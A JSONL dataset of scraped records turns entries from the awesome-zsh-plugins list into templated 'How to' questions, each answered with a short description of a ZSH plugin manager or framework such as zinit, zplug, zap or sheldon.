{"id": "gh_2d8cb5359add", "question": "How to: [sheldon](https://github.com/rossmacarthur/sheldon)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/rossmacarthur/sheldon)\n  ![GitHub Repo stars](https://img.shields.io/github/stars/rossmacarthur/sheldon)\n\n**sheldon** is a fast, configurable, shell plugin manager.\n\n- It can manage:\n  - Any `git` repository.\n    - Branch/tag/commit support.\n    - Extra support for GitHub repositories.\n    - Extra support for Gists.\n  - Arbitrary remote files, simply specify the URL.\n  - Local plugins, simply specify the directory path.\n- Highly configurable install methods using [handlebars](http://handlebarsjs.com/) templating.\n- Super-fast parallel installation.\n- Configuration file using [TOML](https://github.com/toml-lang/toml) syntax.\n- Uses a lock file for much faster loading of plugins.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 17290, "answer_score": 10, "has_code": true, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407169"}
{"id": "gh_68cfa77c7b75", "question": "How to: [shplug](https://github.com/dtrugman/shplug)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/dtrugman/shplug)\n ![GitHub Repo stars](https://img.shields.io/github/stars/dtrugman/shplug)\n\n**shplug** is an easy solution for managing your shell environments. Works with both `bash` and `zsh`. Makes it easy to sync your environment across multiple machines with a `git` repository.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407174"}
{"id": "gh_cac0d4dcedfe", "question": "How to: [TheFly](https://github.com/joknarf/thefly)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/joknarf/thefly) ![GitHub Repo stars](https://img.shields.io/github/stars/joknarf/thefly)\n\n**TheFly** is a `bash`/`zsh`/`ksh` plugin manager and env teleporter\n\nMakes your shell env and plugins available everywhere (hosts/users)!", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407179"}
{"id": "gh_1dd101bd2bda", "question": "How to: [Toasty](https://github.com/CosmicToast/toasty-zsh)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/CosmicToast/toasty-zsh) ![GitHub Repo stars](https://img.shields.io/github/stars/CosmicToast/toasty-zsh)\n\n**Toasty** is a ZSH framework made to facilitate management, not dictate it.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407184"}
{"id": "gh_bdc6fef2463d", "question": "How to: [Usepkg](https://github.com/gynamics/zsh-usepkg)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/gynamics/zsh-usepkg) ![GitHub Repo stars](https://img.shields.io/github/stars/gynamics/zsh-usepkg)\n\n**Usepkg** is a minimal declarative zsh plugin manager.\n\nSupports:\n- fetch & load plugin(s) with declared methods\n- list, check, reload, update & remove plugin(s) with commands\n\nDependencies:\n- zsh\n- gnu coreutils\n- git (optional, if you want to clone git repositories from internet)\n- curl (optional, if you want to fetch a script file by url)\n\nPros:\n- extremely simple and light, but enough to use.\n- compared to similar packages like `zplug`, it has a much simpler configuration grammar.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407190"}
{"id": "gh_8d24ed5a30db", "question": "How to: [uz](https://github.com/maxrodrigo/uz)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/maxrodrigo/uz)\n ![GitHub Repo stars](https://img.shields.io/github/stars/maxrodrigo/uz)\n\n**uz** is a micro plugin manager for ZSH", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407195"}
{"id": "gh_d0f748337c52", "question": "How to: [x-cmd](https://github.com/x-cmd/x-cmd)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/x-cmd/x-cmd)\n ![GitHub Repo stars](https://img.shields.io/github/stars/x-cmd/x-cmd)\n\n**x-cmd** is a toolset implemented using posix shell and awk.It is very small in size and offers many interesting features. Here is a milestone demo: https://x-cmd.com/\n\nTools Provided by x-cmd:\n  - [Wrappers for Common Commands (e.g., cd, ip, ps, tar, apt, brew)](https://x-cmd.com/mod/zuz): These wrapped commands are more intelligent and easier to use compared to the native commands.\n  - [Lightweight Package Management Tool](https://x-cmd.com/pkg/): We have implemented a lightweight package management tool using shell and awk. Through it, you can quickly obtain most common software tools, such as jq, 7za, bat, nvim, python, node, go, etc.\n  - [CLI for Useful Websites (e.g., github.com, cht.sh)](https://x-cmd.com/mod/cht): We have wrapped their APIs using shell and awk for daily use and to obtain corresponding services in scripts.\n  - [AI Tools](https://x-cmd.com/mod/openai): We provide CLIs for ChatGPT, Gemini, Jina.ai, etc., and have wrapped corresponding shortcut commands for different application scenarios, such as `@gemini` for chatting with Gemini AI and `@zh` for using AI to translate specified content or command results.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407202"}
{"id": "gh_fb3ddb08e46e", "question": "How to: [yazt](https://github.com/bashelled/yazt)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/bashelled/yazt)\n ![GitHub Repo stars](https://img.shields.io/github/stars/bashelled/yazt)\n\n**Yazt** is a simple ZSH theme manager in maintenance that is compatible with nearly everything. You can use prompts in plugins, mix 'n' match two themes and with a few modifications, you can even use it in `bash`.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407206"}
{"id": "gh_29866edf538a", "question": "How to: [yzsh](https://github.com/yunielrc/yzsh)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/yunielrc/yzsh)\n ![GitHub Repo stars](https://img.shields.io/github/stars/yunielrc/yzsh)\n\n**yzsh** is a simple ZSH framework for managing plugins, themes, functions, aliases and environment variables.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407211"}
{"id": "gh_12274910555d", "question": "How to: [zap](https://github.com/zap-zsh/zap)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/zap-zsh/zap)\n ![GitHub Repo stars](https://img.shields.io/github/stars/zap-zsh/zap)\n\n**:zap:zap** is a minimal ZSH plugin manager.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407215"}
{"id": "gh_78b5121fb08b", "question": "How to: [zapack](https://github.com/aiya000/zsh-zapack)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/aiya000/zsh-zapack)\n ![GitHub Repo stars](https://img.shields.io/github/stars/aiya000/zsh-zapack)\n\n**zapack** is a basic fast minimal ZSH plugin loader.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407219"}
{"id": "gh_69b334de14b4", "question": "How to: [zcomet](https://github.com/agkozak/zcomet)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/agkozak/zcomet)\n ![GitHub Repo stars](https://img.shields.io/github/stars/agkozak/zcomet)\n\n**zcomet** is a minimalistic ZSH plugin manager that gets you to the prompt surprisingly quickly without caching (see the benchmarks). In addition to loading and updating plugins stored in `git` repositories, it supports lazy-loading plugins (further reducing startup time) as well as downloading and sourcing code snippets.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407224"}
{"id": "gh_b4f7284f3dff", "question": "How to: [zeesh](https://github.com/zeekay/zeesh)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/zeekay/zeesh)\n ![GitHub Repo stars](https://img.shields.io/github/stars/zeekay/zeesh)\n\n**Zeesh** is a cross-platform ZSH framework. It's similar to, but incompatible with, [oh-my-zsh](http://ohmyz.sh/). It has a modular plugin architecture making it easy to extend. It has a rich set of defaults, but is designed to be as lightweight as possible.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407229"}
{"id": "gh_bea600d3eb82", "question": "How to: [zgem](https://github.com/qoomon/zgem)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/qoomon/zgem)\n ![GitHub Repo stars](https://img.shields.io/github/stars/qoomon/zgem)\n\n**zgem** is a plugin manager for ZSH that supports loading and updating plugins and themes from git, http and local files.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407234"}
{"id": "gh_c5f6f9e470f6", "question": "How to: [zgen](https://github.com/tarjoilija/zgen)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/tarjoilija/zgen)\n ![GitHub Repo stars](https://img.shields.io/github/stars/tarjoilija/zgen)\n\n**Zgen is currently not being actively maintained**. I recommend you use the [zgenom](https://github.com/jandamm/zgenom) fork instead, which is actively maintained and continues to get new features and bug fixes.\n\n**Zgen** is a lightweight plugin manager for ZSH inspired by [Antigen](https://github.com/zsh-users/antigen). The goal is to have minimal overhead when starting up the shell because nobody likes waiting.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407239"}
{"id": "gh_1c3f19b3c1fc", "question": "How to: [zgenom](https://github.com/jandamm/zgenom)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/jandamm/zgenom)\n ![GitHub Repo stars](https://img.shields.io/github/stars/jandamm/zgenom)\n\nA lightweight plugin manager for ZSH that is a fork that extends the brilliant [zgen](https://github.com/tarjoilija/zgen) and provides more features and bugfixes while being fully backwards compatible.\n\nTo keep loading fast during new terminal sessions, `zgenom` generates a static `init.zsh` file which does nothing but source your plugins and append them to your `fpath`.\n\nThis minimizes startup time by not having to execute time consuming logic (plugin checking, updates, etc) during every shell session's startup. The downside is that you have to refresh the init script manually with `zgenom reset` whenever you update your plugin list in your `.zshrc`.\n\nZgenom can load [oh-my-zsh](http://ohmyz.sh/)-compatible and [prezto](https://github.com/sorin-ionescu/prezto)-compatible plugins and themes, and will automagically `git clone` plugins for you when you add them to your plugin list.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407245"}
{"id": "gh_b9902fc689e7", "question": "How to: [zilsh](https://github.com/zilsh/zilsh)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/zilsh/zilsh)\n ![GitHub Repo stars](https://img.shields.io/github/stars/zilsh/zilsh)\n\n**zilsh** is a ZSH config system that aims to appeal more to power-users and follow the simplistic approach of vim-pathogen.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407250"}
{"id": "gh_d079ec3d5b94", "question": "How to: [zim](https://github.com/zimfw/zimfw)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/zimfw/zimfw)\n ![GitHub Repo stars](https://img.shields.io/github/stars/zimfw/zimfw)\n\n**Zim** is a ZSH configuration framework with blazing speed and modular extensions.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407255"}
{"id": "gh_53be84b6131a", "question": "How to: [Zinit](https://github.com/zdharma-continuum/zinit)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/zdharma-continuum/zinit) ![GitHub Repo stars](https://img.shields.io/github/stars/zdharma-continuum/zinit)\n\n**Zinit** is an innovative and probably (because of the Turbo) the fastest plugin manager with support for:\n\n- Turbo mode – 80% faster ZSH startup! for example: instead of 200 ms, it'll be 40 ms\n- Completion management (selectively disable and enable completions)\n- Snippets (↔ regular files downloaded via-URL, e.g.: scripts) and through them Oh My Zsh and Prezto plugins support (→ low overhead)\n- Annexes (↔ Zinit extensions)\n- Reports (from the plugin loads – plugins are no longer black boxes)\n- Plugin unloading (allows e.g.: dynamic theme switching)\n- `bindkey` capturing and remapping\n- packages\n- Clean `fpath` (the array `$fpath` is not being used to add completions and autoload functions, hence it stays concise, not bloated)\n- Services ↔ a single-instance, background plugins\n- Also, in general: all the mechanisms from the ZSH Plugin Standard – Zinit is a reference implementation of the standard.\n\nThe project is very active – currently > 3100 commits.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407264"}
{"id": "gh_453709b749e0", "question": "How to: [zinit-4](https://github.com/psprint/Zinit-4)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/psprint/Zinit-4)\n ![GitHub Repo stars](https://img.shields.io/github/stars/psprint/Zinit-4)\n\nThis is Zinit 4 from the [original author](https://github.com/psprint), who once removed the [Zinit](https://github.com/zdharma-continuum/zinit) repository from GitHub. This spawned a community-driven [zdharma-continuum](https://github.com/zdharma-continuum) organization that revived all of psprint's ZSH projects. Its main innovations from the @zdharma-continuum fork are:\n\n- AppImage distribution (release link),\n- Action complete – press Alt-Shift-A and Alt-Shift-C to complete plugin names and ice modifiers,\n- Themes – set $ZITHEME to one of default, blue and gold to set a color set to use for Zinit 4 messages,\n- New ice `build` which is equivalent of three other ices: `null`, `configure` and `make install` and simply builds the project from sources, with support for autotools/CMake/Meson/Scons.\n\nThese are the most visible changes, but there are more (like e.g.: support for compiling with libraries from previously built projects/`$ZPFX`).", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407273"}
{"id": "gh_1d3f53461b4d", "question": "How to: [zit](https://github.com/thiagokokada/zit)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/thiagokokada/zit)\n ![GitHub Repo stars](https://img.shields.io/github/stars/thiagokokada/zit)\n\n**zit** is a plugin manager for ZSH. It is minimal because it implements the bare minimum to be qualified as a plugin manager: it allows the user to install plugins from `git` repositories (and `git` repositories only, that's why the name), source plugins and update them. It does not implement fancy functions like cleanup of removed plugins, automatic compilation of installed plugins, alias for oh-my-zsh/prezto/other ZSH frameworks, building binaries, `$PATH` manipulation and others.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407278"}
{"id": "gh_a63b701afe33", "question": "How to: [zlugin](https://github.com/DrgnFireYellow/zlugin)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/DrgnFireYellow/zlugin)\n ![GitHub Repo stars](https://img.shields.io/github/stars/DrgnFireYellow/zlugin)\n\n**zlugin** is a very lightweight ZSH plugin manager.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407283"}
{"id": "gh_82c5aa0531f6", "question": "How to: [znap](https://github.com/marlonrichert/zsh-snap)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/marlonrichert/zsh-snap) ![GitHub Repo stars](https://img.shields.io/github/stars/marlonrichert/zsh-snap)\n\n**:zap:Znap** is a light-weight plugin manager & `git` repository manager for ZSH that's easy to grok. While tailored for ZSH plugins specifically, **Znap** also functions as a general-purpose utility for managing `git` repositories.\n\nZnap can:\n\n- Make any prompt appear instantly. Reduce your startup time from ~200ms to ~40ms with just one command.\n- Asynchronously compile your plugins and functions.\n- Cache those expensive `eval $(commands)`.\n- Clone or pull multiple repos in parallel.\n- Re-clone all your repos without you having to re-enter them.\n- Multi-repo management\n- Automatic `compinit` and `bashinit` - you no longer need them in your `.zshrc`, znap will do them automatically as needed.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407289"}
{"id": "gh_b71edbd7c58e", "question": "How to: [zoppo](https://github.com/zoppo/zoppo)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/zoppo/zoppo)\n ![GitHub Repo stars](https://img.shields.io/github/stars/zoppo/zoppo)\n\n**Zoppo** is the crippled configuration framework for ZSH. As an Italian saying goes: \"chi va con lo zoppo, impara a zoppicare\", we realized we were walking with a cripple and are now going to become crippled ourselves.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407294"}
{"id": "gh_d087f21816d7", "question": "How to: [zpacker](https://github.com/happyslowly/zpacker)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/happyslowly/zpacker)\n ![GitHub Repo stars](https://img.shields.io/github/stars/happyslowly/zpacker)\n\n**Zpacker** is a lightweight ZSH plugin & theme management framework.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407298"}
{"id": "gh_a316ad0ff70f", "question": "How to: [zpico](https://github.com/thornjad/zpico)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/thornjad/zpico)\n ![GitHub Repo stars](https://img.shields.io/github/stars/thornjad/zpico)\n\n**zpico** is a minuscule ZSH package manager. No frills, no bloat, just 2 kB of 100% ZSH code, providing complete package management for your ZSH environment.\n\nZSH package managers are abundant, but most are bloated, slow or have excessive requirements. On top of that, more than a few have been abandoned for years. Zpico does not seek to be the best of the best, rather to balance functionality against a tiny, fast footprint.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407303"}
{"id": "gh_93749fa595bb", "question": "How to: [zplug](https://github.com/zplug/zplug)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/zplug/zplug)\n ![GitHub Repo stars](https://img.shields.io/github/stars/zplug/zplug)\n\n**:hibiscus: Zplug** is a next-generation ZSH plugin manager.\n\n- Can manage everything\n  - ZSH plugins/UNIX commands on [GitHub](https://github.com) and [Bitbucket](https://bitbucket.org)\n  - Gist files ([gist.github.com](https://gist.github.com/discover))\n  - Externally managed plugins e.g., [oh-my-zsh](https://github.com/ohmyzsh/ohmyzsh) and [prezto](https://github.com/sorin-ionescu/prezto) plugins/themes\n  - Binary artifacts on [GitHub Releases](https://help.github.com/articles/about-releases/)\n  - Local plugins\n  - etc. (you can add your [own sources](https://github.com/zplug/zplug/blob/master/doc/guide/External-Sources.md)!)\n- Super-fast parallel installation/update\n- Support for lazy-loading\n- Branch/tag/commit support\n- Post-update, post-load hooks\n- Dependencies between packages\n- Unlike [antigen](https://github.com/zsh-users/antigen), no ZSH plugin files (`*.plugin.zsh`) are required\n- Interactive interface ([fzf](https://github.com/junegunn/fzf), [peco](https://github.com/peco/peco), [zaw](https://github.com/zsh-users/zaw), and so on)\n- Cache mechanism for reducing [the startup time](https://github.com/zplug/zplug#vs)", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407311"}
{"id": "gh_78f49d389157", "question": "How to: [zpm](https://github.com/zpm-zsh/zpm)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/zpm-zsh/zpm)\n ![GitHub Repo stars](https://img.shields.io/github/stars/zpm-zsh/zpm)\n\n**zpm** (ZSH Plugin Manager) is a plugin manager for [ZSH](http://www.zsh.org/) which combines the imperative and declarative approach. At first run, `zpm` will do complex logic and generate a cache, after that will only use the cache, so it makes this framework very fast.\n\n- Fastest plugin manager (Really, after the first run, `zpm` will not be used at all)\n- Support for async loading\n- Dependencies between packages\n- **zpm** runs on Linux, macOS, FreeBSD and Android.\n- **zpm** plugins are compatible with [oh-my-zsh](http://ohmyz.sh/).", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407316"}
{"id": "gh_527e440fc78d", "question": "How to: [zr](https://github.com/jedahan/zr)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/jedahan/zr)\n ![GitHub Repo stars](https://img.shields.io/github/stars/jedahan/zr)\n\n**zr** is a quick, simple ZSH plugin manager written in Rust and easily installable with `cargo install zr`.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407321"}
{"id": "gh_92607e7dff0e", "question": "How to: [zshing](https://github.com/zakariaGatter/zshing)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/zakariaGatter/zshing)\n ![GitHub Repo stars](https://img.shields.io/github/stars/zakariaGatter/zshing)\n\n**zshing** is a ZSH plugin manager similar to Vundle/Vim and allows you to...\n\n- Keep track of and configure your plugins right in the `.zshrc`\n- Install ZSH plugins\n- Update ZSH plugins\n- Search by name all available ZSH Plugins\n- Clean unused plugins up\n- Run the above actions in a *single command*\n- Manages the **Source Plugins** of your installed Plugins", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407326"}
{"id": "gh_e9e637e51df8", "question": "How to: [zsh-dot-plugin](https://github.com/DuckzCantFly/zsh-dot-plugin)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/DuckzCantFly/zsh-dot-plugin) ![GitHub Repo stars](https://img.shields.io/github/stars/DuckzCantFly/zsh-dot-plugin)\n\n**zsh-dot-plugin** will customize your `.zshrc` with only ~21 lines of code. Based on [zsh-unplugged](https://github.com/mattmc3/zsh_unplugged).", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407331"}
{"id": "gh_81b2e9cc6442", "question": "How to: [zsh-mgr](https://github.com/amt911/zsh-mgr)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/amt911/zsh-mgr)\n ![GitHub Repo stars](https://img.shields.io/github/stars/amt911/zsh-mgr)\n\nA simple plugin manager for zsh. Features:\n\n- Auto-updates all plugins.\n- Auto-updates itself.\n- Configurable time interval for both auto-updaters.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407336"}
{"id": "gh_f5ffc83ae695", "question": "How to: [zsh-unplugged](https://github.com/mattmc3/zsh_unplugged).", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/mattmc3/zsh_unplugged)\n ![GitHub Repo stars](https://img.shields.io/github/stars/mattmc3/zsh_unplugged)\n\n**zsh-unplugged** is a _tiny_ plugin manager. TLDR; You don't need a big bloated plugin manager for your ZSH plugins. A simple ~20 line function may be all you need.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407341"}
{"id": "gh_d514093183c1", "question": "How to: [zshPlug](https://github.com/Atlas34/zshPlug)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/Atlas34/zshPlug)\n ![GitHub Repo stars](https://img.shields.io/github/stars/Atlas34/zshPlug)\n\n**zshPlug** is a minimalist plugin manager heavily based on [zap](https://github.com/zap-zsh/zap).", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407345"}
{"id": "gh_aa8724ea4fb1", "question": "How to: [ztanesh](https://github.com/miohtama/ztanesh)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/miohtama/ztanesh)\n ![GitHub Repo stars](https://img.shields.io/github/stars/miohtama/ztanesh)\n\n**Ztanesh** aims to improve your UNIX command line experience and productivity with the the configuration provided by the ztanesh project: the tools will make your shell more powerful and easier to use.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407350"}
